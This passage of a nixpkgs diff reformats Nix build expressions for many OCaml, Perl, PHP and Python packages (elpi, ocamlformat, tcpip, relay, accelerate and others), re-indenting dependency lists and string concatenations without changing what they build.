+  ++ lib.optional (lib.versionAtLeast version "1.16" || version == "dev") atdgen-runtime;
 
-  propagatedBuildInputs =
-    [
-      re
-      stdlib-shims
-    ]
-    ++ (if lib.versionAtLeast version "1.15" || version == "dev" then [ menhirLib ] else [ camlp5 ])
-    ++ (
-      if lib.versionAtLeast version "1.13" || version == "dev" then
-        [
-          ppxlib
-          ppx_deriving
-        ]
-      else
-        [
-          ppxlib_0_15
-          ppx_deriving_0_15
-        ]
-    );
+  propagatedBuildInputs = [
+    re
+    stdlib-shims
+  ]
+  ++ (if lib.versionAtLeast version "1.15" || version == "dev" then [ menhirLib ] else [ camlp5 ])
+  ++ (
+    if lib.versionAtLeast version "1.13" || version == "dev" then
+      [
+        ppxlib
+        ppx_deriving
+      ]
+    else
+      [
+        ppxlib_0_15
+        ppx_deriving_0_15
+      ]
+  );
 
   meta = with lib; {
     description = "Embeddable λProlog Interpreter";
@@ -103,11 +104,10 @@ buildDunePackage {
     homepage = "https://github.com/LPCIC/elpi";
   };
 
-  postPatch =
-    ''
-      substituteInPlace elpi_REPL.ml --replace-warn "tput cols" "${ncurses}/bin/tput cols"
-    ''
-    + lib.optionalString (lib.versionAtLeast version "1.16" || version == "dev") ''
-      substituteInPlace src/dune --replace-warn ' atdgen re' ' atdgen-runtime re'
-    '';
+  postPatch = ''
+    substituteInPlace elpi_REPL.ml --replace-warn "tput cols" "${ncurses}/bin/tput cols"
+  ''
+  + lib.optionalString (lib.versionAtLeast version "1.16" || version == "dev") ''
+    substituteInPlace src/dune --replace-warn ' atdgen re' ' atdgen-runtime re'
+  '';
 }
diff --git a/pkgs/development/ocaml-modules/janestreet/janePackage_0_12.nix b/pkgs/development/ocaml-modules/janestreet/janePackage_0_12.nix
index 67435557a36d..df87457f4951 100644
--- a/pkgs/development/ocaml-modules/janestreet/janePackage_0_12.nix
+++ b/pkgs/development/ocaml-modules/janestreet/janePackage_0_12.nix
@@ -30,6 +30,7 @@ buildDunePackage (
     meta = {
       license = lib.licenses.mit;
       homepage = "https://github.com/janestreet/${pname}";
-    } // args.meta;
+    }
+    // args.meta;
   }
 )
diff --git a/pkgs/development/ocaml-modules/janestreet/janePackage_0_14.nix b/pkgs/development/ocaml-modules/janestreet/janePackage_0_14.nix
index 1a7e8c8f6f60..bc273b4655c9 100644
--- a/pkgs/development/ocaml-modules/janestreet/janePackage_0_14.nix
+++ b/pkgs/development/ocaml-modules/janestreet/janePackage_0_14.nix
@@ -35,6 +35,7 @@ buildDunePackage (
     meta = {
       license = lib.licenses.mit;
       homepage = "https://github.com/janestreet/${pname}";
-    } // args.meta;
+    }
+    // args.meta;
   }
 )
diff --git a/pkgs/development/ocaml-modules/janestreet/janePackage_0_15.nix b/pkgs/development/ocaml-modules/janestreet/janePackage_0_15.nix
index 73812e186bd8..bcb1277dfd9e 100644
--- a/pkgs/development/ocaml-modules/janestreet/janePackage_0_15.nix
+++ b/pkgs/development/ocaml-modules/janestreet/janePackage_0_15.nix
@@ -35,6 +35,7 @@ buildDunePackage (
     meta = {
       license = lib.licenses.mit;
       homepage = "https://github.com/janestreet/${pname}";
-    } // args.meta;
+    }
+    // args.meta;
   }
 )
diff --git a/pkgs/development/ocaml-modules/janestreet/janePackage_0_16.nix b/pkgs/development/ocaml-modules/janestreet/janePackage_0_16.nix
index a08ff1e3b9b6..f536a58050dc 100644
--- a/pkgs/development/ocaml-modules/janestreet/janePackage_0_16.nix
+++ b/pkgs/development/ocaml-modules/janestreet/janePackage_0_16.nix
@@ -35,6 +35,7 @@ buildDunePackage (
     meta = {
       license = lib.licenses.mit;
       homepage = "https://github.com/janestreet/${pname}";
-    } // args.meta;
+    }
+    // args.meta;
   }
 )
diff --git a/pkgs/development/ocaml-modules/janestreet/janePackage_0_17.nix b/pkgs/development/ocaml-modules/janestreet/janePackage_0_17.nix
index f366d6d1db8a..da3ce4ddcd28 100644
--- a/pkgs/development/ocaml-modules/janestreet/janePackage_0_17.nix
+++ b/pkgs/development/ocaml-modules/janestreet/janePackage_0_17.nix
@@ -34,6 +34,7 @@ buildDunePackage (
     meta = {
       license = lib.licenses.mit;
       homepage = "https://github.com/janestreet/${pname}";
-    } // args.meta;
+    }
+    // args.meta;
   }
 )
diff --git a/pkgs/development/ocaml-modules/lablgtk/default.nix b/pkgs/development/ocaml-modules/lablgtk/default.nix
index 7f0bd839cd2a..c9a77e89ea9f 100644
--- a/pkgs/development/ocaml-modules/lablgtk/default.nix
+++ b/pkgs/development/ocaml-modules/lablgtk/default.nix
@@ -68,7 +68,8 @@ stdenv.mkDerivation {
     gtk2
     libgnomecanvas
     gtksourceview
-  ] ++ param.buildInputs or [ ];
+  ]
+  ++ param.buildInputs or [ ];
 
   configureFlags = [ "--with-libdir=$(out)/lib/ocaml/${ocaml.version}/site-lib" ];
   buildFlags = [ "world" ];
diff --git a/pkgs/development/ocaml-modules/lambda-term/default.nix b/pkgs/development/ocaml-modules/lambda-term/default.nix
index 10a916a5f17f..072f33d73957 100644
--- a/pkgs/development/ocaml-modules/lambda-term/default.nix
+++ b/pkgs/development/ocaml-modules/lambda-term/default.nix
@@ -38,17 +38,16 @@ buildDunePackage rec {
     inherit (params) sha256;
   };
 
-  propagatedBuildInputs =
-    [
-      zed
-      lwt_log
-      lwt_react
-      mew_vi
-    ]
-    ++ lib.optionals (lib.versionAtLeast version "3.3.1") [
-      uucp
-      logs
-    ];
+  propagatedBuildInputs = [
+    zed
+    lwt_log
+    lwt_react
+    mew_vi
+  ]
+  ++ lib.optionals (lib.versionAtLeast version "3.3.1") [
+    uucp
+    logs
+  ];
 
   meta = {
     description = "Terminal manipulation library for OCaml";
diff --git a/pkgs/development/ocaml-modules/mirage-crypto/default.nix b/pkgs/development/ocaml-modules/mirage-crypto/default.nix
index 99c71786d448..ce3a56b56dad 100644
--- a/pkgs/development/ocaml-modules/mirage-crypto/default.nix
+++ b/pkgs/development/ocaml-modules/mirage-crypto/default.nix
@@ -28,13 +28,12 @@ buildDunePackage rec {
   ];
 
   buildInputs = [ dune-configurator ];
-  propagatedBuildInputs =
-    [
-      eqaf
-    ]
-    ++ lib.optionals withFreestanding [
-      ocaml-freestanding
-    ];
+  propagatedBuildInputs = [
+    eqaf
+  ]
+  ++ lib.optionals withFreestanding [
+    ocaml-freestanding
+  ];
 
   meta = with lib; {
     homepage = "https://github.com/mirage/mirage-crypto";
diff --git a/pkgs/development/ocaml-modules/mirage-crypto/ec.nix b/pkgs/development/ocaml-modules/mirage-crypto/ec.nix
index 790faa283e9c..b654c6dc3a05 100644
--- a/pkgs/development/ocaml-modules/mirage-crypto/ec.nix
+++ b/pkgs/development/ocaml-modules/mirage-crypto/ec.nix
@@ -28,14 +28,13 @@ buildDunePackage {
   buildInputs = [
     dune-configurator
   ];
-  propagatedBuildInputs =
-    [
-      mirage-crypto
-      mirage-crypto-rng
-    ]
-    ++ lib.optionals withFreestanding [
-      ocaml-freestanding
-    ];
+  propagatedBuildInputs = [
+    mirage-crypto
+    mirage-crypto-rng
+  ]
+  ++ lib.optionals withFreestanding [
+    ocaml-freestanding
+  ];
 
   doCheck = true;
   checkInputs = [
diff --git a/pkgs/development/ocaml-modules/num/default.nix b/pkgs/development/ocaml-modules/num/default.nix
index 98dae8b475ba..c0149728817d 100644
--- a/pkgs/development/ocaml-modules/num/default.nix
+++ b/pkgs/development/ocaml-modules/num/default.nix
@@ -24,7 +24,8 @@ stdenv.mkDerivation (
         url = "https://github.com/ocaml/num/commit/6d4c6d476c061298e6385e8a0864f083194b9307.patch";
         sha256 = "18zlvb5n327q8y3c52js5dvyy29ssld1l53jqng8m9w1k24ypi0b";
       })
-    ] ++ lib.optional withStatic ./enable-static.patch;
+    ]
+    ++ lib.optional withStatic ./enable-static.patch;
 
     nativeBuildInputs = [
       ocaml
diff --git a/pkgs/development/ocaml-modules/ocamlformat/generic.nix b/pkgs/development/ocaml-modules/ocamlformat/generic.nix
index 9c1bfa77cf26..55bd356d1bf8 100644
--- a/pkgs/development/ocaml-modules/ocamlformat/generic.nix
+++ b/pkgs/development/ocaml-modules/ocamlformat/generic.nix
@@ -71,33 +71,32 @@ rec {
 
   stdio_v = if lib.versionAtLeast version "0.25.1" then stdio else janeStreet_0_15.stdio;
 
-  library_deps =
-    [
-      base_v
-      cmdliner_v
-      dune-build-info
-      fix
-      fpath
-      menhirLib
-      menhirSdk
-      ocp-indent
-      stdio_v
-      uuseg
-      uutf
-    ]
-    ++ lib.optionals (lib.versionAtLeast version "0.20.0") [
-      either
-      ocaml-version
-    ]
-    ++ lib.optionals (lib.versionAtLeast version "0.22.4") [ csexp ]
-    ++ (
-      if lib.versionOlder version "0.25.1" then
-        [ odoc-parser_v ]
-      else
-        [
-          camlp-streams
-          result
-          astring
-        ]
-    );
+  library_deps = [
+    base_v
+    cmdliner_v
+    dune-build-info
+    fix
+    fpath
+    menhirLib
+    menhirSdk
+    ocp-indent
+    stdio_v
+    uuseg
+    uutf
+  ]
+  ++ lib.optionals (lib.versionAtLeast version "0.20.0") [
+    either
+    ocaml-version
+  ]
+  ++ lib.optionals (lib.versionAtLeast version "0.22.4") [ csexp ]
+  ++ (
+    if lib.versionOlder version "0.25.1" then
+      [ odoc-parser_v ]
+    else
+      [
+        camlp-streams
+        result
+        astring
+      ]
+  );
 }
diff --git a/pkgs/development/ocaml-modules/ocamlformat/ocamlformat.nix b/pkgs/development/ocaml-modules/ocamlformat/ocamlformat.nix
index dc2671a265f0..8c47f1936432 100644
--- a/pkgs/development/ocaml-modules/ocamlformat/ocamlformat.nix
+++ b/pkgs/development/ocaml-modules/ocamlformat/ocamlformat.nix
@@ -31,12 +31,13 @@ lib.throwIf
 
     nativeBuildInputs = if lib.versionAtLeast version "0.25.1" then [ ] else [ menhir ];
 
-    buildInputs =
-      [ re ]
-      ++ library_deps
-      ++ lib.optionals (lib.versionAtLeast version "0.25.1") [
-        (ocamlformat-lib.override { inherit version; })
-      ];
+    buildInputs = [
+      re
+    ]
+    ++ library_deps
+    ++ lib.optionals (lib.versionAtLeast version "0.25.1") [
+      (ocamlformat-lib.override { inherit version; })
+    ];
 
     meta = {
       homepage = "https://github.com/ocaml-ppx/ocamlformat";
diff --git a/pkgs/development/ocaml-modules/odoc-parser/default.nix b/pkgs/development/ocaml-modules/odoc-parser/default.nix
index 04c8c8c7c360..302308e0c821 100644
--- a/pkgs/development/ocaml-modules/odoc-parser/default.nix
+++ b/pkgs/development/ocaml-modules/odoc-parser/default.nix
@@ -55,7 +55,8 @@ lib.throwIf (param ? max_version && lib.versionAtLeast ocaml.version param.max_v
     propagatedBuildInputs = [
       astring
       result
-    ] ++ lib.optional (lib.versionAtLeast version "1.0.1") camlp-streams;
+    ]
+    ++ lib.optional (lib.versionAtLeast version "1.0.1") camlp-streams;
 
     meta = {
       description = "Parser for Ocaml documentation comments";
diff --git a/pkgs/development/ocaml-modules/ppx_deriving_yojson/default.nix b/pkgs/development/ocaml-modules/ppx_deriving_yojson/default.nix
index a509985cdec2..1a09e1cd791a 100644
--- a/pkgs/development/ocaml-modules/ppx_deriving_yojson/default.nix
+++ b/pkgs/development/ocaml-modules/ppx_deriving_yojson/default.nix
@@ -45,7 +45,8 @@ buildDunePackage rec {
     ppxlib
     ppx_deriving
     yojson
-  ] ++ param.propagatedBuildInputs or [ ];
+  ]
+  ++ param.propagatedBuildInputs or [ ];
 
   doCheck = lib.versionAtLeast ocaml.version "4.08";
   inherit (param) checkInputs;
diff --git a/pkgs/development/ocaml-modules/ppxlib/default.nix b/pkgs/development/ocaml-modules/ppxlib/default.nix
index 3f8ebe6da948..d0ca29f18d12 100644
--- a/pkgs/development/ocaml-modules/ppxlib/default.nix
+++ b/pkgs/development/ocaml-modules/ppxlib/default.nix
@@ -104,16 +104,15 @@ else
       inherit (param) sha256;
     };
 
-    propagatedBuildInputs =
-      [
-        ocaml-compiler-libs
-      ]
-      ++ (param.OMP or [ ])
-      ++ [
-        ppx_derivers
-        stdio
-        stdlib-shims
-      ];
+    propagatedBuildInputs = [
+      ocaml-compiler-libs
+    ]
+    ++ (param.OMP or [ ])
+    ++ [
+      ppx_derivers
+      stdio
+      stdlib-shims
+    ];
 
     meta = {
       description = "Comprehensive ppx tool set";
diff --git a/pkgs/development/ocaml-modules/sail/default.nix b/pkgs/development/ocaml-modules/sail/default.nix
index 8b2c4aaf817e..ef618679ca70 100644
--- a/pkgs/development/ocaml-modules/sail/default.nix
+++ b/pkgs/development/ocaml-modules/sail/default.nix
@@ -30,16 +30,15 @@ buildDunePackage {
 
   minimalOCamlVersion = "4.08";
 
-  nativeBuildInputs =
-    [
-      makeWrapper
-      ott
-      menhir
-      lem
-    ]
-    ++ lib.optionals (stdenv.hostPlatform.isDarwin && stdenv.hostPlatform.isAarch64) [
-      darwin.sigtool
-    ];
+  nativeBuildInputs = [
+    makeWrapper
+    ott
+    menhir
+    lem
+  ]
+  ++ lib.optionals (stdenv.hostPlatform.isDarwin && stdenv.hostPlatform.isAarch64) [
+    darwin.sigtool
+  ];
 
   propagatedBuildInputs = [
     base64
diff --git a/pkgs/development/ocaml-modules/sedlex/default.nix b/pkgs/development/ocaml-modules/sedlex/default.nix
index bd5eb9119d32..f888a8e45960 100644
--- a/pkgs/development/ocaml-modules/sedlex/default.nix
+++ b/pkgs/development/ocaml-modules/sedlex/default.nix
@@ -54,14 +54,13 @@ buildDunePackage rec {
     inherit (param) sha256;
   };
 
-  propagatedBuildInputs =
-    [
-      gen
-      ppxlib
-    ]
-    ++ lib.optionals (!atLeast31) [
-      uchar
-    ];
+  propagatedBuildInputs = [
+    gen
+    ppxlib
+  ]
+  ++ lib.optionals (!atLeast31) [
+    uchar
+  ];
 
   preBuild = ''
     rm src/generator/data/dune
diff --git a/pkgs/development/ocaml-modules/tcpip/default.nix b/pkgs/development/ocaml-modules/tcpip/default.nix
index 26fbd2bd77e4..50705a862f16 100644
--- a/pkgs/development/ocaml-modules/tcpip/default.nix
+++ b/pkgs/development/ocaml-modules/tcpip/default.nix
@@ -43,32 +43,31 @@ buildDunePackage rec {
     pkg-config
   ];
 
-  propagatedBuildInputs =
-    [
-      cstruct
-      cstruct-lwt
-      mirage-net
-      mirage-mtime
-      mirage-crypto-rng
-      mirage-sleep
-      ipaddr-cstruct
-      macaddr
-      macaddr-cstruct
-      fmt
-      lwt
-      lwt-dllist
-      logs
-      duration
-      randomconv
-      ethernet
-      lru
-      metrics
-      arp
-      mirage-flow
-    ]
-    ++ lib.optionals withFreestanding [
-      ocaml-freestanding
-    ];
+  propagatedBuildInputs = [
+    cstruct
+    cstruct-lwt
+    mirage-net
+    mirage-mtime
+    mirage-crypto-rng
+    mirage-sleep
+    ipaddr-cstruct
+    macaddr
+    macaddr-cstruct
+    fmt
+    lwt
+    lwt-dllist
+    logs
+    duration
+    randomconv
+    ethernet
+    lru
+    metrics
+    arp
+    mirage-flow
+  ]
+  ++ lib.optionals withFreestanding [
+    ocaml-freestanding
+  ];
 
   doCheck = true;
   checkInputs = [
diff --git a/pkgs/development/ocaml-modules/uunf/default.nix b/pkgs/development/ocaml-modules/uunf/default.nix
index f51dc88eeb7b..f38f55db5958 100644
--- a/pkgs/development/ocaml-modules/uunf/default.nix
+++ b/pkgs/development/ocaml-modules/uunf/default.nix
@@ -45,7 +45,8 @@ else
     buildInputs = [
       topkg
       uutf
-    ] ++ lib.optional cmdlinerSupport cmdliner;
+    ]
+    ++ lib.optional cmdlinerSupport cmdliner;
 
     strictDeps = true;
 
diff --git a/pkgs/development/ocaml-modules/uuseg/default.nix b/pkgs/development/ocaml-modules/uuseg/default.nix
index 85442fc47eac..f4f84c61f877 100644
--- a/pkgs/development/ocaml-modules/uuseg/default.nix
+++ b/pkgs/development/ocaml-modules/uuseg/default.nix
@@ -42,7 +42,8 @@ stdenv.mkDerivation rec {
   buildInputs = [
     topkg
     uutf
-  ] ++ lib.optional cmdlinerSupport cmdliner;
+  ]
+  ++ lib.optional cmdlinerSupport cmdliner;
   propagatedBuildInputs = [ uucp ];
 
   strictDeps = true;
diff --git a/pkgs/development/ocaml-modules/vg/default.nix b/pkgs/development/ocaml-modules/vg/default.nix
index 8efb022958c4..5b99a1b04cf1 100644
--- a/pkgs/development/ocaml-modules/vg/default.nix
+++ b/pkgs/development/ocaml-modules/vg/default.nix
@@ -43,18 +43,17 @@ else
     ];
     buildInputs = [ topkg ];
 
-    propagatedBuildInputs =
-      [
-        uchar
-        result
-        gg
-      ]
-      ++ optionals pdfBackend [
-        otfm
-      ]
-      ++ optionals htmlcBackend [
-        brr
-      ];
+    propagatedBuildInputs = [
+      uchar
+      result
+      gg
+    ]
+    ++ optionals pdfBackend [
+      otfm
+    ]
+    ++ optionals htmlcBackend [
+      brr
+    ];
 
     strictDeps = true;
 
diff --git a/pkgs/development/perl-modules/Tirex/default.nix b/pkgs/development/perl-modules/Tirex/default.nix
index d40c98172395..86bb82759ba4 100644
--- a/pkgs/development/perl-modules/Tirex/default.nix
+++ b/pkgs/development/perl-modules/Tirex/default.nix
@@ -46,7 +46,8 @@ buildPerlPackage rec {
     LWP
     mapnik
     boost
-  ] ++ mapnik.buildInputs;
+  ]
+  ++ mapnik.buildInputs;
 
   installPhase = ''
     install -m 755 -d $out/usr/libexec
diff --git a/pkgs/development/perl-modules/generic/default.nix b/pkgs/development/perl-modules/generic/default.nix
index 583a8c862ceb..8d4195fad0bf 100644
--- a/pkgs/development/perl-modules/generic/default.nix
+++ b/pkgs/development/perl-modules/generic/default.nix
@@ -70,7 +70,8 @@ lib.throwIf (attrs ? name)
           env = {
             inherit PERL_AUTOINSTALL AUTOMATED_TESTING PERL_USE_UNSAFE_INC;
             fullperl = perl.__spliced.buildHost or perl;
-          } // env;
+          }
+          // env;
 
           meta = defaultMeta // (attrs.meta or { });
         }
diff --git a/pkgs/development/perl-modules/strip-nondeterminism/default.nix b/pkgs/development/perl-modules/strip-nondeterminism/default.nix
index a5767f934cbc..3d16d4cb245a 100644
--- a/pkgs/development/perl-modules/strip-nondeterminism/default.nix
+++ b/pkgs/development/perl-modules/strip-nondeterminism/default.nix
@@ -45,15 +45,14 @@ buildPerlPackage rec {
     patchShebangs ./bin
   '';
 
-  postInstall =
-    ''
-      # we don’t need the debhelper script
-      rm $out/bin/dh_strip_nondeterminism
-      rm $out/share/man/man1/dh_strip_nondeterminism.1
-    ''
-    + lib.optionalString stdenv.hostPlatform.isDarwin ''
-      shortenPerlShebang $out/bin/strip-nondeterminism
-    '';
+  postInstall = ''
+    # we don’t need the debhelper script
+    rm $out/bin/dh_strip_nondeterminism
+    rm $out/share/man/man1/dh_strip_nondeterminism.1
+  ''
+  + lib.optionalString stdenv.hostPlatform.isDarwin ''
+    shortenPerlShebang $out/bin/strip-nondeterminism
+  '';
 
   installCheckPhase = ''
     runHook preInstallCheck
diff --git a/pkgs/development/php-packages/datadog_trace/default.nix b/pkgs/development/php-packages/datadog_trace/default.nix
index 81e75eabee1d..a08d01603e36 100644
--- a/pkgs/development/php-packages/datadog_trace/default.nix
+++ b/pkgs/development/php-packages/datadog_trace/default.nix
@@ -38,14 +38,13 @@ buildPecl rec {
     rustPlatform.cargoSetupHook
   ];
 
-  buildInputs =
-    [
-      curl
-      pcre2
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      libiconv
-    ];
+  buildInputs = [
+    curl
+    pcre2
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    libiconv
+  ];
 
   meta = {
     changelog = "https://github.com/DataDog/dd-trace-php/blob/${src.rev}/CHANGELOG.md";
diff --git a/pkgs/development/php-packages/mongodb/default.nix b/pkgs/development/php-packages/mongodb/default.nix
index 93fa1969b4c0..6040934dbca1 100644
--- a/pkgs/development/php-packages/mongodb/default.nix
+++ b/pkgs/development/php-packages/mongodb/default.nix
@@ -26,18 +26,17 @@ buildPecl rec {
   };
 
   nativeBuildInputs = [ pkg-config ];
-  buildInputs =
-    [
-      cyrus_sasl
-      icu64
-      openssl
-      snappy
-      zlib
-      pcre2
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      libiconv
-    ];
+  buildInputs = [
+    cyrus_sasl
+    icu64
+    openssl
+    snappy
+    zlib
+    pcre2
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    libiconv
+  ];
 
   meta = {
     description = "Official MongoDB PHP driver";
diff --git a/pkgs/development/php-packages/relay/default.nix b/pkgs/development/php-packages/relay/default.nix
index c4d7d4e2cea9..c55c956875b1 100644
--- a/pkgs/development/php-packages/relay/default.nix
+++ b/pkgs/development/php-packages/relay/default.nix
@@ -81,47 +81,46 @@ stdenv.mkDerivation (finalAttrs: {
     lz4
   ];
   internalDeps = [ php.extensions.session ];
-  installPhase =
-    ''
-      runHook preInstall
-      install -Dm755 relay.so -t $out/lib/php/extensions
-    ''
-    + (
-      if stdenv.hostPlatform.isDarwin then
-        let
-          args =
-            lib.strings.concatMapStrings
-              (
-                v:
-                " -change ${v.name}" + " ${lib.strings.makeLibraryPath [ v.value ]}/${builtins.baseNameOf v.name}"
-              )
-              (
-                with lib.attrsets;
-                [
-                  (nameValuePair "/opt/homebrew/opt/hiredis/lib/libhiredis.1.1.0.dylib" hiredis)
-                  (nameValuePair "/opt/homebrew/opt/hiredis/lib/libhiredis_ssl.dylib.1.1.0" hiredis)
-                  (nameValuePair "/opt/homebrew/opt/concurrencykit/lib/libck.0.dylib" libck)
-                  (nameValuePair "/opt/homebrew/opt/openssl@3/lib/libssl.3.dylib" openssl)
-                  (nameValuePair "/opt/homebrew/opt/openssl@3/lib/libcrypto.3.dylib" openssl)
-                  (nameValuePair "/opt/homebrew/opt/zstd/lib/libzstd.1.dylib" zstd)
-                  (nameValuePair "/opt/homebrew/opt/lz4/lib/liblz4.1.dylib" lz4)
-                ]
-              );
-        in
-        # fixDarwinDylibNames can't be used here because we need to completely remap .dylibs, not just add absolute paths
-        ''
-          install_name_tool${args} $out/lib/php/extensions/relay.so
-        ''
-      else
-        ""
-    )
-    + ''
-      # Random UUID that's required by the extension. Can be anything, but must be different from default.
-      sed -i "s/00000000-0000-0000-0000-000000000000/aced680f-30e9-40cc-a868-390ead14ba0c/" $out/lib/php/extensions/relay.so
-      chmod -w $out/lib/php/extensions/relay.so
+  installPhase = ''
+    runHook preInstall
+    install -Dm755 relay.so -t $out/lib/php/extensions
+  ''
+  + (
+    if stdenv.hostPlatform.isDarwin then
+      let
+        args =
+          lib.strings.concatMapStrings
+            (
+              v:
+              " -change ${v.name}" + " ${lib.strings.makeLibraryPath [ v.value ]}/${builtins.baseNameOf v.name}"
+            )
+            (
+              with lib.attrsets;
+              [
+                (nameValuePair "/opt/homebrew/opt/hiredis/lib/libhiredis.1.1.0.dylib" hiredis)
+                (nameValuePair "/opt/homebrew/opt/hiredis/lib/libhiredis_ssl.dylib.1.1.0" hiredis)
+                (nameValuePair "/opt/homebrew/opt/concurrencykit/lib/libck.0.dylib" libck)
+                (nameValuePair "/opt/homebrew/opt/openssl@3/lib/libssl.3.dylib" openssl)
+                (nameValuePair "/opt/homebrew/opt/openssl@3/lib/libcrypto.3.dylib" openssl)
+                (nameValuePair "/opt/homebrew/opt/zstd/lib/libzstd.1.dylib" zstd)
+                (nameValuePair "/opt/homebrew/opt/lz4/lib/liblz4.1.dylib" lz4)
+              ]
+            );
+      in
+      # fixDarwinDylibNames can't be used here because we need to completely remap .dylibs, not just add absolute paths
+      ''
+        install_name_tool${args} $out/lib/php/extensions/relay.so
+      ''
+    else
+      ""
+  )
+  + ''
+    # Random UUID that's required by the extension. Can be anything, but must be different from default.
+    sed -i "s/00000000-0000-0000-0000-000000000000/aced680f-30e9-40cc-a868-390ead14ba0c/" $out/lib/php/extensions/relay.so
+    chmod -w $out/lib/php/extensions/relay.so
 
-      runHook postInstall
-    '';
+    runHook postInstall
+  '';
 
   passthru = {
     updateScript = writeShellScript "update-${finalAttrs.pname}" ''
diff --git a/pkgs/development/php-packages/snuffleupagus/default.nix b/pkgs/development/php-packages/snuffleupagus/default.nix
index 3b088a5ab5c0..9bd1a2ade9b5 100644
--- a/pkgs/development/php-packages/snuffleupagus/default.nix
+++ b/pkgs/development/php-packages/snuffleupagus/default.nix
@@ -19,11 +19,12 @@ buildPecl rec {
     hash = "sha256-W+EQXjvmDHih5YW/SjRcEdUELePUPKrNWB8vW9dLK/g=";
   };
 
-  buildInputs =
-    [ pcre2 ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      libiconv
-    ];
+  buildInputs = [
+    pcre2
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    libiconv
+  ];
 
   internalDeps = with php.extensions; [ session ];
 
diff --git a/pkgs/development/python-modules/aardwolf/default.nix b/pkgs/development/python-modules/aardwolf/default.nix
index 100cced60f23..2b525af891dd 100644
--- a/pkgs/development/python-modules/aardwolf/default.nix
+++ b/pkgs/development/python-modules/aardwolf/default.nix
@@ -67,7 +67,8 @@ buildPythonPackage rec {
     pyperclip
     tqdm
     unicrypto
-  ] ++ lib.optionals (stdenv.hostPlatform.isDarwin) [ iconv ];
+  ]
+  ++ lib.optionals (stdenv.hostPlatform.isDarwin) [ iconv ];
 
   # Module doesn't have tests
   doCheck = false;
diff --git a/pkgs/development/python-modules/accelerate/default.nix b/pkgs/development/python-modules/accelerate/default.nix
index 8bcebc59ca35..33104e42d6b3 100644
--- a/pkgs/development/python-modules/accelerate/default.nix
+++ b/pkgs/development/python-modules/accelerate/default.nix
@@ -79,83 +79,82 @@ buildPythonPackage rec {
     export TRITON_PTXAS_PATH="${lib.getExe' cudatoolkit "ptxas"}"
   '';
   pytestFlagsArray = [ "tests" ];
-  disabledTests =
-    [
-      # try to download data:
-      "FeatureExamplesTests"
-      "test_infer_auto_device_map_on_t0pp"
+  disabledTests = [
+    # try to download data:
+    "FeatureExamplesTests"
+    "test_infer_auto_device_map_on_t0pp"
 
-      # require socket communication
-      "test_explicit_dtypes"
-      "test_gated"
-      "test_invalid_model_name"
-      "test_invalid_model_name_transformers"
-      "test_no_metadata"
-      "test_no_split_modules"
-      "test_remote_code"
-      "test_transformers_model"
+    # require socket communication
+    "test_explicit_dtypes"
+    "test_gated"
+    "test_invalid_model_name"
+    "test_invalid_model_name_transformers"
+    "test_no_metadata"
+    "test_no_split_modules"
+    "test_remote_code"
+    "test_transformers_model"
 
-      # nondeterministic, tests GC behaviour by thresholding global ram usage
-      "test_free_memory_dereferences_prepared_components"
+    # nondeterministic, tests GC behaviour by thresholding global ram usage
+    "test_free_memory_dereferences_prepared_components"
 
-      # set the environment variable, CC, which conflicts with standard environment
-      "test_patch_environment_key_exists"
-    ]
-    ++ lib.optionals ((pythonAtLeast "3.13") || (torch.rocmSupport or false)) [
-      # RuntimeError: Dynamo is not supported on Python 3.13+
-      # OR torch.compile tests broken on torch 2.5 + rocm
-      "test_can_unwrap_distributed_compiled_model_keep_torch_compile"
-      "test_can_unwrap_distributed_compiled_model_remove_torch_compile"
-      "test_convert_to_fp32"
-      "test_send_to_device_compiles"
-    ]
-    ++ lib.optionals (stdenv.hostPlatform.isLinux && stdenv.hostPlatform.isAarch64) [
-      # usual aarch64-linux RuntimeError: DataLoader worker (pid(s) <...>) exited unexpectedly
-      "CheckpointTest"
-      # TypeError: unsupported operand type(s) for /: 'NoneType' and 'int' (it seems cpuinfo doesn't work here)
-      "test_mpi_multicpu_config_cmd"
-    ]
-    ++ lib.optionals (!config.cudaSupport) [
-      # requires ptxas from cudatoolkit, which is unfree
-      "test_dynamo_extract_model"
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      # RuntimeError: 'accelerate-launch /nix/store/a7vhm7b74a7bmxc35j26s9iy1zfaqjs...
-      "test_accelerate_test"
-      "test_init_trackers"
-      "test_init_trackers"
-      "test_log"
-      "test_log_with_tensor"
+    # set the environment variable, CC, which conflicts with standard environment
+    "test_patch_environment_key_exists"
+  ]
+  ++ lib.optionals ((pythonAtLeast "3.13") || (torch.rocmSupport or false)) [
+    # RuntimeError: Dynamo is not supported on Python 3.13+
+    # OR torch.compile tests broken on torch 2.5 + rocm
+    "test_can_unwrap_distributed_compiled_model_keep_torch_compile"
+    "test_can_unwrap_distributed_compiled_model_remove_torch_compile"
+    "test_convert_to_fp32"
+    "test_send_to_device_compiles"
+  ]
+  ++ lib.optionals (stdenv.hostPlatform.isLinux && stdenv.hostPlatform.isAarch64) [
+    # usual aarch64-linux RuntimeError: DataLoader worker (pid(s) <...>) exited unexpectedly
+    "CheckpointTest"
+    # TypeError: unsupported operand type(s) for /: 'NoneType' and 'int' (it seems cpuinfo doesn't work here)
+    "test_mpi_multicpu_config_cmd"
+  ]
+  ++ lib.optionals (!config.cudaSupport) [
+    # requires ptxas from cudatoolkit, which is unfree
+    "test_dynamo_extract_model"
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    # RuntimeError: 'accelerate-launch /nix/store/a7vhm7b74a7bmxc35j26s9iy1zfaqjs...
+    "test_accelerate_test"
+    "test_init_trackers"
+    "test_init_trackers"
+    "test_log"
+    "test_log_with_tensor"
 
-      # After enabling MPS in pytorch, these tests started failing
-      "test_accelerated_optimizer_step_was_skipped"
-      "test_auto_wrap_policy"
-      "test_autocast_kwargs"
-      "test_automatic_loading"
-      "test_backward_prefetch"
-      "test_can_resume_training"
-      "test_can_resume_training_checkpoints_relative_path"
-      "test_can_resume_training_with_folder"
-      "test_can_unwrap_model_fp16"
-      "test_checkpoint_deletion"
-      "test_cpu_offload"
-      "test_cpu_ram_efficient_loading"
-      "test_grad_scaler_kwargs"
-      "test_invalid_registration"
-      "test_map_location"
-      "test_mixed_precision"
-      "test_mixed_precision_buffer_autocast_override"
-      "test_project_dir"
